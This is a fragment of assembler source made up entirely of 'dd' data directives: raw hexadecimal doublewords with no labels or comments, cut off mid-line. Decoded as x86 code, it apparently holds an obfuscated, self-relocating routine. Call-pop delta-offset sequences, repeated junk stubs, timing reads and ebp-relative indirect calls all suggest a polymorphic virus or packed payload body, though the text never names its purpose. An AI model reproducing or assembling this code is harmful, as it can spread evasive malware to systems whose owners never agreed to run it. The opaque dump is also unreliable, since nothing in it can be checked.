0EA95A9C3h, 6AA6809Bh dd 0FFFC043Fh, 0ADB58BD3h, 0FF06031Bh dd 31D0185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 1F9CFF2Ch, 0A7D8B012h, 7CFE90Ah dd 0E80000h, 5D000000h, 0F292ED81h, 0B5010606h, 60305E5h dd 1E11BD8Bh, 0BD810603h, 60316D9h, 7D0h, 183860Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0E70C8FC3h, 89952ED7h, 30D2595h, 119D8B06h, 89060331h dd 324599Dh, 0E38106h, 0B000001h, 0F8850FDBh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0AAB0C351h, 0D1BD09F1h, 83060324h, 6F0A8BDh dd 840F0006h, 5Ah, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 25C35040h, 3A3E187Bh, 0C95ABECAh, 0C7E93860h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 3054C357h, 89340F98h, 315ED85h dd 0BDBD8B06h, 6606031Fh, 85C7F28Bh, 606F0A8h, 1, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E5C35343h, 0CA69E82Ch dd 8B6636F3h, 64E9F3h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 80902FC3h, 6A482C45h dd 3051BD29h, 8D310603h, 603264Dh, 58A0Fh, 81660000h, 0C73C95DFh dd 6F0A885h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 589D8227h, 9D8D715Bh dd 6033111h, 0B6DBD31h, 0B5230603h, 6032F71h, 0FEFF2381h dd 0BF50FFFFh, 113A473Fh, 0DB8C665Fh, 1805BD89h, 0B58B0603h dd 6031C95h, 0F04C3F6h, 5084h, 0D1858900h, 0FF060325h dd 300A995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0BDF04A2h, 32141B5h, 57605006h, 310F5250h dd 6659585Ah, 61C6EDBEh, 60240489h, 5E97D981h, 958B71A5h dd 603048Dh, 3C0E961h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 416CE4C3h, 81667397h dd 0B0909FD6h, 70E6FC00h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0B0C35545h, 2D798CB7h, 0E4340172h, 50006A71h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 65EE01ECh, 3591FD87h, 0FA8B668Dh, 0E9D8B60Fh, 13h, 6770D853h dd 376E81CAh, 57AD2A1Dh, 808A0506h, 0BA1A80FFh, 6, 3089A2BEh dd 89C38B2Dh, 32075B5h, 4E8C106h, 0A3D79CBEh, 0E2F76620h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D9C35747h dd 0D82B5730h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 18C35040h, 0CBAEF4DEh, 0E8BA968Ah, 14h, 0F14EA70Ch dd 4FCCB41Dh, 0D084CBD0h, 29B928D6h, 0BF13471h, 2119BD8Bh dd 505E0603h, 249EBF50h, 895F1551h, 6A241Ch, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 29DE87C3h dd 1BD5B58Bh, 0B5FF0603h, 60316D9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0D0C35545h, 0F38CF1AFh, 0FDBD89D0h dd 0FF060316h, 323A595h, 26BF6606h, 0DE8BEh, 9C4F0000h dd 71B9A04Fh, 762CAB24h, 5E4CED89h, 0B58900B0h, 6032CD5h dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 91082AC3h, 0E4C6DE9Ah, 91DBD8Bh, 14E90603h dd 5C000000h, 50DB3234h, 77B7D1B4h, 63BCAFA5h, 5ADEC6E8h dd 0E4AA46FDh, 34BF6671h, 0F613CD4h, 1DD83h, 0D8B60F00h dd 4850Fh, 0BF660000h, 6BA5D89h, 0F000000h, 38Ah, 0FFB70F00h dd 8B66C38Bh, 4E8C1FEh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 97C35242h, 2DB35EAFh, 0DE814h, 0D6210000h dd 0D8DA220Fh, 750553D1h, 0B9DD382h, 326E9BDh, 0B58B5F06h dd 6032F0Dh, 6AE2F766h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 32F2C350h, 0F5BD33FCh dd 2B06030Bh, 6A58D8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0F8AA31C3h, 798D01CCh, 2B06032Ch dd 23880FD8h, 57000001h, 7B95Eh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 9526A3C3h dd 5A887451h, 0F82B6887h, 0F00C183h, 0D93BF7BFh, 0E8860Fh dd 8C660000h, 4C1F6D9h, 0AF840Fh, 0B58B0000h, 60329E9h dd 6F25D781h, 95FF1044h, 60300A9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 81C35141h, 89C0F19Bh, 307D595h dd 75B58B06h, 5B06030Bh, 1C25BD0Bh, 0C32B0603h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 74C35646h, 0A19B51F2h dd 0F95CF241h, 9B58B0Eh, 3D060319h, 834h, 33860Fh, 870F0000h dd 6, 18619531h, 4FE90603h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 3B12C357h dd 99BE66F7h, 6AC08B18h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0DDB5C357h, 0B8B469DAh dd 86AC9ACFh, 30319D89h, 0C38B0603h, 5E56D88Bh, 169985C7h dd 65BB0603h, 6A7407h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0C08B0EC3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 1BC35545h, 1A66194Dh, 9C3546DEh dd 0D9BD816Dh, 0D0060316h, 0F000007h, 1085h, 0F867BE00h dd 85FF30A9h, 60316D9h, 0D7DE8166h, 0D9B5FFE5h, 29060316h dd 30EB18Dh, 0A595FF06h, 6A060323h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 487EC352h dd 0E6DF819Ch, 901258B1h, 2FA19D89h, 5E90603h, 4E000000h dd 0C684A114h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0CBC35040h, 0C4820C3Ch, 6A6980h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0D460E5C3h dd 0B782B194h, 0FE8h, 0D8BE5900h, 0FEE6E775h, 78355A26h dd 451458Fh, 0FE8h, 7C6E4400h, 541EEF28h, 0B744E9A8h, 5CFFEC70h dd 0CE8F5h, 0E48B0000h, 3B5A04FFh, 6ADA047Fh, 5E5FF77Bh dd 0D18BF560h, 12E9h, 0B3318600h, 1589CE0Eh, 0C4176339h dd 0FF71A287h, 0B4BFE44Bh, 6A5E61E1h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B9FDC357h dd 3150E3F4h, 3201585h, 6A5E06h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 6A57C3h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 3FDAA3C3h dd 0E9EC9734h, 0FFFFF866h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 53C35040h, 0F60392Eh, 858BF6BFh, 6032121h dd 19959529h, 0B58B0603h, 6032AEDh, 6AC18B61h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0A2DC353h, 0DE8h, 3F062100h, 178F5A80h, 1291F050h dd 665EFF22h, 656CF781h, 4EBh, 81660000h, 296B42DFh, 32D21B5h dd 9858D06h, 6A060313h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 70D6C351h, 3C58E8B5h dd 9A04B8Bh, 30BF59Dh, 90509006h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 92C35242h, 125910Dh, 312FD85h dd 0F006A06h, 68Dh, 880F00h, 6A000000h, 11E900h, 85380000h dd 0A273AC3Dh, 0E85DBA25h, 6D794C30h, 8D6EF24Bh, 6FC3885h dd 5853106h, 0E8060317h, 13h, 0C9902E78h, 7FB769EFh, 40E49A0h dd 23B6713Bh, 89D442CDh, 305718Dh, 0C0835F06h, 8B0F05h dd 90000000h, 5E26BF50h, 0F907CF6h, 0B8Eh, 6E900h, 0F4180000h dd 27222AB0h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0C8321BC3h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 38684EC3h dd 20F5BD8Bh, 95FF0603h, 6031DF9h, 18559589h, 9D8D0603h dd 6069933h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 3EC35141h, 0FFCC99D1h, 53006AD3h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 6679A2FFh dd 0F890E781h, 1A3DBD89h, 85FF0603h, 6031D01h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9BC35747h, 63739BDBh dd 8D2E9D1h, 0E80000h, 5D000000h, 0FC42ED81h, 81600606h dd 950DF8EFh, 8161F561h, 316D9BDh, 7D006h, 8C860F00h, 6A000001h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 8B1FC353h, 322B59Dh, 58A0F06h, 0BF000000h dd 7C313DF9h, 100E381h, 880F0000h, 6, 26B59589h, 0DB0B0603h dd 0BE850Fh, 860F0000h, 8, 0E1B58B52h, 5F06030Ch, 0FA95BD83h dd 0F000606h, 3284h, 0B850F00h, 0E8000000h, 5, 0D6D79F70h dd 0C4E95EB5h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0C730C355h, 6FA9585h dd 106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 5FA29D7Ch, 0D9BBBD30h, 14890Fh, 0FE90000h dd 0D6000000h, 0D232B532h, 914BFA1Bh, 1C009AFBh, 5CE9921Fh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0C90AC350h, 71413E61h, 0C2CF50DCh dd 0FA9585C7h, 606h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0C9991C3h, 0FB383C9h dd 689h, 35BD2300h, 8D060319h, 322B59Dh, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0F08FFD2Dh, 0FB06746h, 686h, 0E1BD8900h, 66060307h dd 8112AFBEh, 0FFFEFF23h, 0C8C0FFFh, 0F000000h, 689h, 0CBC68100h dd 663D1679h, 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0F507A7C3h, 0F04C3F6h, 7C84h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 77BBE307h, 0A995FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 2CBD53C3h, 0E045FCA0h dd 51BDC007h, 485BD89h, 505E0603h, 68E0F60h, 0F000000h dd 8Dh, 61C18B00h, 0E9240489h, 11h, 3C3737B8h, 935CAC78h dd 8BFBD09Fh, 0CA68A098h, 450E90Ch, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 27B007C3h dd 34F1A7E5h, 881B58Bh, 0B00603h, 1381BD29h, 70E60603h dd 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8B926AC3h, 30AA1B5h, 0D8B60F06h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 94C35646h, 0CE8630A2h dd 193E091h, 32431B5h, 13E96006h, 81000000h, 0C777992Ah dd 6E418544h, 0B61353F7h, 0C001864Dh, 9E905F7h, 0D9000000h dd 92364F82h, 16753170h, 0C9B58961h, 0BA060316h, 6, 22CDB50Bh dd 0C38B0603h, 0BE04E8C1h, 63AD819Eh, 6AE2F766h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0B30C350h, 3064DB5h, 89D82B06h, 326558Dh, 52509306h dd 0F525057h, 5F585A31h, 0BF53310Fh, 54547CE2h, 50585A5Eh dd 28E0F60h, 8B000000h, 0EDB866D7h, 6A9361EEh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0FFF4C355h, 316D9B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 29AE22DBh, 0EF108D68h dd 0A595FF96h, 0B0060323h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 7AEBC332h dd 0FB8B66CCh, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FCF45C3h, 0B89h, 5800F00h, 66000000h dd 0DBEFD781h, 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0BAE18BC3h, 0AA1B58Bh, 613C0603h dd 268830Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0E1C2B2C3h, 81C9EAD3h, 0D8B60FF3h dd 11E9h, 0B3DFBD00h, 0D179E85Ch, 37BA9782h, 0A9F5BB49h dd 6BAC7D6h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 4AEDC351h, 80134541h dd 8531F6EEh, 6030BDDh, 26B5BD8Bh, 0C38B0603h, 0CE9h, 0B6D3900h dd 9551E495h, 0C64727A2h, 4E8C1C3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0C4C35646h, 0BB8F4E7Dh, 66F12583h dd 0F766F38Bh, 0FD8D01E2h, 2B060319h, 51006AD8h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 958D37DEh, 0AA404076h, 7E9C2A1h, 95000000h, 0CDB5EF45h dd 0E958ED34h, 0Dh, 682E4024h, 14AAA518h, 2257E9EDh, 0FD82B52h dd 16588h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0E2FE8A43h, 0ADF17EE9h, 0E9B58BECh dd 0B906032Ch, 7, 6A00C183h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8180C351h, 1EF132D6h dd 0FD93B39h, 10986h, 0D98C6600h, 0F04C1F6h, 0F884h, 61BD8B00h dd 0FF060325h, 300A995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 8A3E68A4h, 6A5BF9h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 3E37F9C3h, 0FE9CADFh, 680h, 69B58B00h, 2B060317h, 56006AC3h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 99AD4C44h, 0E938E0F0h, 7, 7798089Bh, 3D74837Ch dd 834h, 63860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 162D95C3h, 7C35A6F5h dd 0DE81DAD9h, 750549D8h, 39E9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 17321BFh, 4617C52Bh dd 0B709E781h, 840F7033h, 5, 6813D5BFh, 66C08B38h, 0C38BFB8Bh dd 6AD88Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0C26C0FC3h, 92B60ECBh, 19840Fh, 14E90000h dd 0EC000000h, 0A98C07CCh, 70950FDFh, 0B593D2FAh, 35F25009h dd 0FE96FA0h, 85C7F9BFh, 6033111h, 3503E91Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C8C35242h, 6B2DA878h dd 7FEFAFEEh, 8B5E52A8h, 81F98BC0h, 316D9BDh, 7D006h, 18850F00h dd 29000000h, 3252185h, 0D985FF06h, 89060316h, 31B798Dh dd 11852906h, 0FF060318h, 316D9B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 95FFD26Ah dd 60323A5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 2FC35343h, 0D52D213h, 75B501D1h, 90060323h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0CAC35545h, 0FCE8469h dd 685h, 9858900h, 6606032Eh, 8D89F08Bh, 6031631h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9FC35646h, 0F2C7D525h dd 7E9h, 2183D700h, 57875F4Fh, 0DA24DF81h, 8D897C6Fh, 6032D51h dd 0CE9h, 0D9E99700h, 70BA460Dh, 3721DBA9h, 58BE66F6h dd 0F6816665h, 8D0F9692h, 1, 0D59589F8h, 8B060323h, 32629BDh dd 95B52B06h, 0F06032Fh, 97BEF3BFh, 0FC432D52h, 8B1FB460h dd 312F58Dh, 959D8B06h, 66060329h, 9067CF81h, 8B66FC61h dd 1DB589F0h, 8906030Ch, 3087DB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 3C52BB60h dd 0B1953145h, 6A060315h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0CD40C352h, 0C6816591h dd 5F901143h, 0FFF741E9h, 0EE9FFh, 51C40000h, 0D71F07F5h dd 0D97FE656h, 20147FCBh, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 3126E8C3h, 31CFD8Dh dd 4EB06h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 31A1C356h, 34B337D4h, 868B697Bh dd 0FECABF66h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 9DC35242h, 2FE106FBh, 8DEB9C8Bh, 3130985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 81667204h, 90880AF7h, 0F88B9050h, 8960006Ah, 326B58Dh dd 0C98D8B06h, 61060307h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 5E748FC3h, 0D8D896Ah dd 89060317h, 3009595h, 0C6858D06h, 89060706h, 32AB195h dd 5C08306h, 2D41B58Bh, 50900603h, 0AE95250h, 0DF000000h dd 54CDD5CBh, 7899A551h, 66310F63h, 5A38C5BEh, 66F89058h dd 6A31B8BEh, 0F08B5100h, 4808BF5Eh, 6A4631h, 5659D01h dd 95FF0603h, 6031DF9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0BC35040h, 0FD4EFBA5h, 8D61ECD2h, 699339Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 2CD7B519h, 1DB58982h, 0FF060320h, 55006AD3h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0B7FBCC80h, 441AA4F1h, 0BD8B9BAEh, 6030B25h, 1D0185FFh dd 0BCBF0603h, 0E9539824h, 850h, 0E8h, 0ED815D00h, 60706D0h dd 81F7BF0Fh, 316D9BDh, 7D006h, 88860F00h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 82FDC351h, 2D9D8B0Bh, 6A06031Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C6FBC356h dd 7673403Fh, 0F60CCC6h, 68Ch, 0ED9D8900h, 0F060320h, 8161C8BFh dd 100E3h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0FDB0B0Eh, 8D85h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 33A86EF8h, 0B7DD0061h, 0D8D2913h, 83060324h, 70536BDh dd 840F0006h, 3Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0F4C35040h, 0D875BBC9h, 983BCDF2h, 6840F30h dd 31000000h, 308F585h, 55E906h, 0BD8B0000h, 6032129h dd 53685C7h, 10607h, 0ABBE0000h, 0E911A5F2h, 3Bh, 7A9BD8Bh dd 85C70603h, 6070536h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h dd 0F0450C55h, 0F4DCB5FCh, 0C5B58BE4h, 8D06032Eh, 31D2D9Dh dd 880F06h, 81000000h, 0FFFEFF23h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 235347AAh dd 0F567F158h, 0BD8B53BDh, 60317F5h, 25B5295Eh, 66060309h dd 0BD89DB8Ch, 6030D19h, 0F04C3F6h, 7984h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 6272341Ch, 0A995FFh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 7DE6B4C3h, 9FDC2628h dd 0F8B70FA3h, 1D518D31h, 53500603h, 2404895Eh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7EC35040h, 824C6380h dd 0F4E9E984h, 8B000003h, 3085DB5h, 6600B006h, 0E67637BEh dd 1DB58B70h, 0E406031Dh, 57006A71h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 772C5Ah, 9589AD13h dd 60317C1h, 0E60BF66h, 6AD8B60Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0E838C355h dd 0Ch, 8A8BBDC0h, 47405356h, 4A9B64C9h, 800Fh, 0BA5F0000h dd 6, 0CE9h, 7F9AE800h, 559D016Dh, 0D4BA621Eh, 6AC38B26h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 34DFC355h, 0E834C9F7h, 0Ah, 0D53ACBFEh, 0D4E07CE6h dd 0B523E714h, 6030BBDh, 4E8C15Eh, 0E0D78166h, 0E2F7661Ch dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 44C35343h dd 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 62340CC3h, 6027C68h, 0B58BC4DAh, 6031E59h dd 0AE993h, 88180000h, 0C15E4D9Eh, 0B6FA8C22h, 0F525050h dd 93585A31h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 61C35141h, 7460457Ch, 0C2147109h, 0D9B5FFE3h, 6A060316h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 1EC1C352h, 966262B6h, 0FF6A1B22h, 323A595h dd 11B58B06h, 0B006030Fh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 10174FE9h dd 0CE9h, 2EC63800h, 936CEED6h, 0B2A13AAFh, 0DE854h, 44DE0000h dd 0BA7F7122h, 88535E4Fh, 81D58CF3h, 372B0DEFh, 70E65E59h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C4C35343h dd 764E929Ch, 0B58B71E4h, 603004Dh, 830F613Ch, 1EBh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C0C35242h, 6B6E0D71h dd 51164671h, 3031B58Bh, 0F5E0603h, 6AD8B6h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0BA2F6AC3h dd 0F38E601Fh, 68F0Fh, 85890000h, 603074Dh, 6BAh, 8ABE6600h dd 81C38B1Fh, 504B2AF6h, 4E8C143h, 9E950h, 0E53D0000h dd 52FCD705h, 5E98E207h, 2BE2F766h, 6E9D8h, 22410000h dd 1F9F280Ch, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 5D324E96h, 892A29D0h, 30891B5h, 68B0F06h dd 81000000h, 0D0028D6h, 0FD82B1Fh, 11E88h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 8F0F1126h, 6, 0C71B533h, 95310603h, 6030C8Dh, 7B9h dd 90BE6600h, 0C1837Dh, 1C800Fh, 10E80000h, 6D000000h dd 0C9145695h, 3D104B1Bh, 3C29BA89h, 893E6D6Ah, 321999Dh dd 8B665F06h, 0FD93BF2h, 0B686h, 0AE900h, 20B20000h, 9E1AA6B0h dd 7EBEE2Fh, 60D98C66h, 816696B1h, 61EE14F0h, 0F04C1F6h dd 7284h, 95FFF900h, 60300A9h, 3F84BE66h, 56006A5Bh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0CD686906h, 0B58B0D29h, 6032685h, 0BD8BC32Bh, 6032DC9h dd 8343Dh, 2C860F00h, 23000000h, 3169DB5h, 14E95706h, 0C0000000h dd 92B06C45h, 0B7D7363Ah, 0B4A762ADh, 0BC2D8BAEh, 5ED17D79h dd 26E9h, 0B5B58B00h, 8B060307h, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 8B8FD1DCh dd 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 4A22C352h, 65ED1820h, 0BD8B5DC4h dd 6032E95h, 22B585C7h, 7BB90603h, 0BD8B7CBEh, 6032C19h dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0A83DE9C3h, 0DBF6638h, 81F08BCBh, 316D9BDh dd 7D006h, 35850F00h, 66000000h, 0C457C781h, 16D985FFh dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 546A8DC3h, 87F8CB84h, 9D8925D6h, 60324C5h dd 16D9B5FFh, 0BD330603h, 603059Dh, 2EE2BF66h, 23A595FFh dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 73CD3AC3h, 0B189EEDh, 0FF25996h, 68Fh, 2DB50300h dd 3106030Eh, 30B8D9Dh, 10E99006h, 0A6000000h, 1CCB48E3h dd 7840FEF8h, 0FB67C770h, 8126C680h, 0B8E8DFCFh, 7D8D891Fh dd 6006030Bh, 0D08B66F9h, 991DBF61h, 0B58B78F9h, 6032C3Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C35141h dd 0B84A2A68h, 81662215h, 609078DFh, 8B0F60h, 66000000h dd 2961FB8Bh, 323F195h, 6830F06h, 8B000000h, 30D0185h dd 61B58B06h, 61060325h, 0D999DF81h, 6A1FFEh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 5ED315C3h dd 0C7544B8Fh, 0FCD591Bh, 1289h, 0C870F00h, 81000000h dd 0B96100F7h, 65B58B7Ah, 56060321h, 0E681665Fh, 8D89B847h dd 6032369h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 31C35747h, 8A452EC7h, 1331E6C0h, 14C9B58Bh, 0B58B0603h dd 603074Dh, 0F9BF0F51h, 0F7D6E95Fh, 6AFFFFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 710974C3h dd 8A0FC214h, 0 dd 6AC18Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0D6DD3C3h, 61B50357h, 5E06032Ch, 4EBh, 0B58B0000h dd 6032595h, 6820Fh, 8D890000h, 6032705h, 1309858Dh, 6FBE0603h dd 8902FC70h, 316C595h, 0AE89006h, 2F000000h, 0AE0F928Fh dd 56411DECh, 8B525018h, 0F310FF9h, 85h, 5E585A00h, 0BD899050h dd 60318BDh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 6A3DC3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 6CC35343h, 8DE10EBCh, 710C885h dd 0C11BE06h, 0C78163DCh, 62CB310Ch, 105C083h, 308658Dh dd 8B509006h, 90505FF3h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 12C35040h, 139864F8h, 0F6CBEA65h, 0CACF81BCh dd 0F8496236h, 263D8501h, 6A0603h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0EDC35646h, 2165B589h, 6A0603h dd 5859D89h, 95FF0603h, 6031DF9h, 7021EE81h, 9D8D3D6Bh dd 6069933h, 0E856006Ah, 3, 